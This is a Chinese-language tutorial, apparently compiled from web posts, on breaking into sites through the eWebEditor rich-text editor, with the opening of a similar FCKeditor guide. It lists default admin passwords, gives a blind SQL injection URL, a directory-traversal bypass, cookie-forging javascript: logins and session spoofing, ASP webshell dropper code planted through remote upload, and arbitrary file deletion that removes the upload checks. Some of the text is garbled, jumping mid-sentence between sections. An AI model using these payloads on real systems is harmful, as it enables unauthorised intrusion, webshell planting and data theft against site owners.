第一篇:ewebeditor漏洞利用总结
ewebeditor漏洞利用总结
先从最基本的记录起!通常入侵ewebeditor编辑器的步骤如下:
1、首先访问默认管理页看是否存在。
默认管理页地址2.80以前为 ewebeditor/admin_login.asp 以后版本为admin/login.asp(各种语言的大家自己改后缀,本文就以asp来进行说明,下面不再细说了!)
2、默认管理帐号密码!
默认管理页存在!我们就用帐号密码登陆!默认帐号密码为: admin admin888!常用的密码还有admin admin999 admin1 admin000 之类的。
3、默认数据库地址。
如果密码不是默认的。我们就访问是不是默认数据库!尝试下载数据库得到管理员密码!管理员的帐号密码,都在eWebEditor_System表段里,sys_UserName Sys_Userpass 都是md5加密的。得到了加密密码。可以去!修改红色部分的路径,然后自动上传.cer 文件!漏洞原因是因为sStyleName变量直接从style中读取,并没有过滤,所以可以包含任意字符!用select在ewebeditor_style表中查找s_name为sStyleName的记录,找不到就提示出错!在sStyleName变量中用union来构造记录,我们可以在sAllowExt中加入“|cer”、“|asa”等!
另外还有一些版本的ewebeditor的upload.asp文件存在注入漏洞!贴几个注入用的url!信息错误则返回脚本出错的提示,在浏览器左下角!具体利用如下:
ewebeditor/Upload.asp?type=FILE&style=standard_coolblue1'and%20(select%20top%201%20asc(mid(sys_userpass,15,1))%20from%20ewebeditor_system%20)>98%20and%20'1'='1
注意修改红色部分的字段名、位数、ascii码的值!
7、目录遍历漏洞!
这里大概说一下!目录遍历漏洞基本存在于ewebeditor/admin_uploadfile.asp 高版本的是ewebeditor/admin/upload.asp 文件!这个文件有的不需要登陆验证,有些需要!很多有经验的管理员会把编辑器的目录设置为只读权限,不可修改!这种情况下,唯一可以利用的也就是利用遍历目录功能查看网站文件,比如数据库路径、后台地址、其他的上传地址、最直观的就是别人留下的小马等等!这些都自由发挥了!说下漏洞利用方法!
漏洞利用方式如下:在上传文件管理页面 随便选择一个上传样式!比如ewebeditor/admin_uploadfile.asp?id=14 在id后面添加&dir=../..类似如下:webeditor/admin_uploadfile.asp?id=14&dir=../../../../data/ 可以看到网站数据库的路径!
另外一个遍历目录的漏洞文件是 ewebeditor/asp/browse.asp
漏洞代码为 :
Function GetList()
Dim s_List, s_Url
s_List = “"
Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName
'Response.Write sCurrDir
'On Error Resume Next
Set oFSO = Server.CreateObject(”Scripting.FileSystemObject“)
Set oUploadFolder = oFSO.GetFolder(Server.Mappath(sCurrDir))
'注意一下sCurrDir变量,这个值等下我们可以用到
If Err.Number>0 Then
s_List = ”“
Exit Function
End If
If sDir <> ”“ Then
If InstrRev(sDir, ”/“)> 1 Then
s_Url= Left(sDir, InstrRev(sDir, ”/“)-1)
Else
s_Url = ”“
End If
s_List = s_List & ”“ & _
”“ & _
”..“ & _
” “ & _
”“
End If
'Response.Write sDir&”!“&s_List
Dim oSubFolder
For Each oSubFolder In oUploadFolder.SubFolders
'Response.Write oUploadFolder.SubFolders
If sDir = ”“ Then
s_Url = oSubFolder.Name
Else
s_Url = sDir & ”/“ & oSubFolder.Name
End If
s_List = s_List & ”“ & _
”“ & _
”“ & oSubFolder.Name & ”“ & _
” “ & _
”“
Next
'Response.Write s_List
Set oUploadFiles = oUploadFolder.Files
For Each oUploadFile In oUploadFiles
'Response.Write oUploadFile.Name
sFileName = oUploadFile.Name
If CheckValidExt(sFileName)= True Then
'这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了
If sDir = ”“ Then
s_Url = sContentpath & sFileName
Else
s_Url = sContentpath & sDir & ”/“ & sFileName
End If
s_List = s_List & ”“ & _
”“ & FileName2pic(sFileName)& ”“ & _
”“ & sFileName & ”“ & _
”“ & GetSizeUnit(oUploadFile.size)& ”“ & _
”“
End If
Next
Set oUploadFolder = Nothing
Set oUploadFiles = Nothing
'Response.Write Server.HTMLEncode(s_List)&”!“&s_Url
If sDir = ”“ Then
s_Url = ”“
's_Url = ”/“
Else
s_Url = ”/“ & sDir & ”“
's_Url = ”/“ & sDir & ”/“
End If
s_List = s_List & ”“
s_List = HTML2JS(s_List)
'Response.Write Server.HTMLEncode(s_List)&”!“&s_Url
s_List = ”parent.setDirList(“"” & s_List & “"”, “"” & s_Url & “"”)“
GetList = s_List
End Function
'如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名
Function CheckValidExt(s_FileName)
If sAllowExt = ”“ Then
CheckValidExt = True
Exit Function
End If
Dim i, aExt, sExt
sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, ”.“)+ 1))
CheckValidExt = False
aExt = Split(LCase(sAllowExt), ”|“)
For i = 0 To UBound(aExt)
If aExt(i)= sExt Then
CheckValidExt = True
Exit Function
End If
Next
End Function
'我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的
Sub Initparam()
sType = UCase(Trim(Request.QueryString(”type“)))
sStyleName = Trim(Request.QueryString(”style“))
Dim i, aStyleConfig, bValidStyle
bValidStyle = False
For i = 1 To Ubound(aStyle)
aStyleConfig = Split(aStyle(i), ”|||“)
If Lcase(sStyleName)= Lcase(aStyleConfig(0))Then
bValidStyle = True
Exit For
End If
Next
If bValidStyle = False Then
OutScript(”alert('Invalid Style.')“)
End If
sBaseUrl = aStyleConfig(19)
'nAllowBrowse = CLng(aStyleConfig(43))
nAllowBrowse =
1If nAllowBrowse <> 1 Then
OutScript(”alert('Do not allow browse!')“)
End If
sUploadDir = aStyleConfig(3)
If Left(sUploadDir, 1)<> ”/“ Then
Select Case sType
Case ”REMOTE“
sUploadDir = ”../../“ & sUploadDir & ”Image/“
Case ”FILE“
sUploadDir = ”../../“ & sUploadDir & ”Other/“
Case ”MEDIA“
sUploadDir = ”../../“ & sUploadDir & ”Media/“
Case ”FLASH“
sUploadDir = ”../../“ & sUploadDir & ”Flash/“
Case Else
sUploadDir = ”../../“ & sUploadDir & ”Image/“
End Select
End If
'sUploadDir =sUploadDir &”/“
Select Case sBaseUrl
Case ”0“
'sContentpath = aStyleConfig(23)
Select Case sType
Case ”REMOTE“
sContentpath = ”../“ & aStyleConfig(3)& ”Image/“
Case ”FILE“
sContentpath = ”../“ & aStyleConfig(3)& ”Other/“
Case ”MEDIA“
sContentpath = ”../“ & aStyleConfig(3)& ”Media/“
Case ”FLASH“
sContentpath = ”../“ & aStyleConfig(3)& ”Flash/“
Case Else
sContentpath = ”../“ & aStyleConfig(3)& ”Image/“
End Select
Case ”1“
sContentpath = Relativepath2Rootpath(sUploadDir)
Case ”2“
sContentpath = Rootpath2Domainpath(Relativepath2Rootpath(sUploadDir))
End Select
Select Case sType
Case ”REMOTE“
sAllowExt = aStyleConfig(10)
Case ”FILE“
sAllowExt = aStyleConfig(6)
Case ”MEDIA“
sAllowExt = aStyleConfig(9)
Case ”FLASH“
sAllowExt = aStyleConfig(7)
Case Else
sAllowExt = aStyleConfig(8)
End Select
sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址
sDir = Trim(Request(”dir“))'得到dir变量
sDir = Replace(sDir, ”“, ”/“)'对dir变量进行过滤
sDir = Replace(sDir, ”../“, ”“)
sDir = Replace(sDir, ”./“, ”“)
If sDir <> ”“ Then
If CheckValidDir(Server.Mappath(sUploadDir & sDir))= True Then
sCurrDir = sUploadDir & sDir & ”/“
'重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了
'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用下面的利用中给出
Else
sDir = ”“
End If
End If
End Sub
利用方式如下:
http://site/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin
这样子就可以看到admin的内容了。构造特殊的dir绕过上面的验证!页面空白的时候查看源代码,就可以看到目录列表了!
8、session欺骗漏洞!
适用于一些设置不当的虚拟主机。当旁注得到一个webshell,而目标站存在ewebeditor却不能找到密码的时候可以尝试欺骗进入后台!顺序如下:
新建一个.asp文件,内容如下: <%Session(”eWebEditor_User“)= ”123132323“%> 然后访问这个文件,再访问ewebeditor/admin_default.asp!欺骗进入后台!不过很老了!
9、后台跳过认证漏洞!
访问后台登陆页面!随便输入帐号密码,返回错误!然后清空浏览器,在地址栏输入
javascript:alert(document.cookie=”adminuser=“+escape(”admin“));
javascript:alert(document.cookie=”adminpass=“+escape(”admin“));
javascript:alert(document.cookie=”admindj=“+escape(”1“));
然后再清空地址栏,在路径里输入后台登陆后的页面,比如: admin_default.asp admin/default.asp 等。直接进入后台,利用方式见上文!
10、利用远程上传功能!
比如s_full样式就存在这个功能,打开编辑页面,然后图片,选择输入url 比如:http://site.com/1.gif.asp!然后选择上传远程文件!自动就把1.gif.asp 保存在上传目录内!注:网上的东西大部分传来传去,这个办法愚弄自己还成!文件的确显示后缀为.asp 但是不能访问,因为收集过来的时候自动截止在1.gif了所以后面的.asp等于没有!而且gif的内容就是我们这个url的路径!呵呵,后来又看到一个利用方式!是利用远程搜集的时候执行,我们文件的代码生成另外的小马!
利用代码如下:
首先建立1.gif.asp 代码如下
<%
Set fs = CreateObject(”Scripting.FileSystemObject“)
Set MyTextStream=fs.OpenTextFile(server.Mappath(”akteam.asp“),1,false,0)
Thetext=MyTextStream.ReadAll
response.write thetext
%>
在我们的1.gif.asp的同目录下建立一个akteam.asp文件,内容就是我们的小马:
<%on error resume next%>
<%ofso=”scripting.filesystemobject“%>
<%set fso=server.createobject(ofso)%>
<%path=request(”path“)%>
<%if path<>”“ then%>
<%data=request(”dama“)%>
<%set dama=fso.createtextfile(path,true)%>
<%dama.write data%>
<%if err=0 then%>
<%=”success“%>
<%else%>
<%=”false“%>
<%end if%>
<%err.clear%>
<%end if%>
<%dama.close%>
<%set dama=nothing%>
<%set fos=nothing%>
<%=”
“%>利用上面说的远程上传的方式!可以得到webshell!成功率取决于,虚拟主机的安全设置!
11、任意文件删除漏洞!
此漏洞存在于ExampleNewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入!看代码
' 把带”|“的字符串转为数组
Dim aSavepathFileName
aSavepathFileName = Split(sSavepathFileName, ”|“)
' 删除新闻相关的文件,从文件夹中
Dim i
For i = 0 To UBound(aSavepathFileName)
' 按路径文件名删除文件
Call DoDelFile(aSavepathFileName(i))
Next
而aSavepathFileName是前面从数据库取出来的:
sSavepathFileName = oRs(”D_SavepathFileName“)
看看D_SavepathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:sSavepathFileName = GetSafeStr(Request.Form(”d_savepathfilename“))
...oRs(”D_SavepathFileName“)= sSavepathFileName
居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:
Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), ”'“, ”“), Chr(34), ”“), ”;“, ”“)
End Function
既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新闻,于是主目录下的eWebEditor.asp不见了!漏洞利用:
新闻列表%20|%20增加新闻
增加新闻
http://127.0.0.1/editor/Example/NewsSystem/addsave.asp”
method=“post” name=“myform”>
要删的文件(相对路径就可以了): | |
新闻标题(随便填): | |
标题图片: | 当编辑区有插入图片时,将自动填充此下拉框 |
新闻内容(随便填): |
删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历
然后得到返回的新闻ID再提交:http://www.xiexiebang.com/editor/example/newssystem/delete.asp?id=[id]
有几个版本的ewebeditor 上传类型是在 security.asp 文件控制的!直接删除该文件可以上传任意webshell!
12、其他!
其他说点什么呢!以上的办法都是本人经验和网上搜集!暂时就想到这些了,以后想到了再补全!说说aspx php jsp版本的利用吧!
ASpX版:
受影响文件:eWebEditorNet/upload.aspx
利用方法:添好本地的cer的Shell文件。在浏览器地址栏输入javascript:lbtnUpload.click();就能得到shell。嘿嘿....绕过了限制......成功的上传了ASpX文件....文件默认的上传后保存的地址是eWebEditorNet/UploadFile/现在来看看是否上传成功.....pHp版本:php版本和asp版本利用方式类似!不过php权限较高,不多废话了!
jsp版本:网上有很多jsp的版本,根本没有对上传文件类型进行检测!需要注意的是jsp版本的没有上传按钮!直接选择文件,回车就可以提交了!
第二篇:Fckeditor漏洞利用总结
Fckeditor漏洞利用总结
查看编辑器版本
FCKeditor/_whatsnew.html
—————————————————————————————————————————————————————————————
2.Version 2.2 版本
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
—————————————————————————————————————————————————————————————
3.Version <=2.4.2 For php 在处理pHp 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。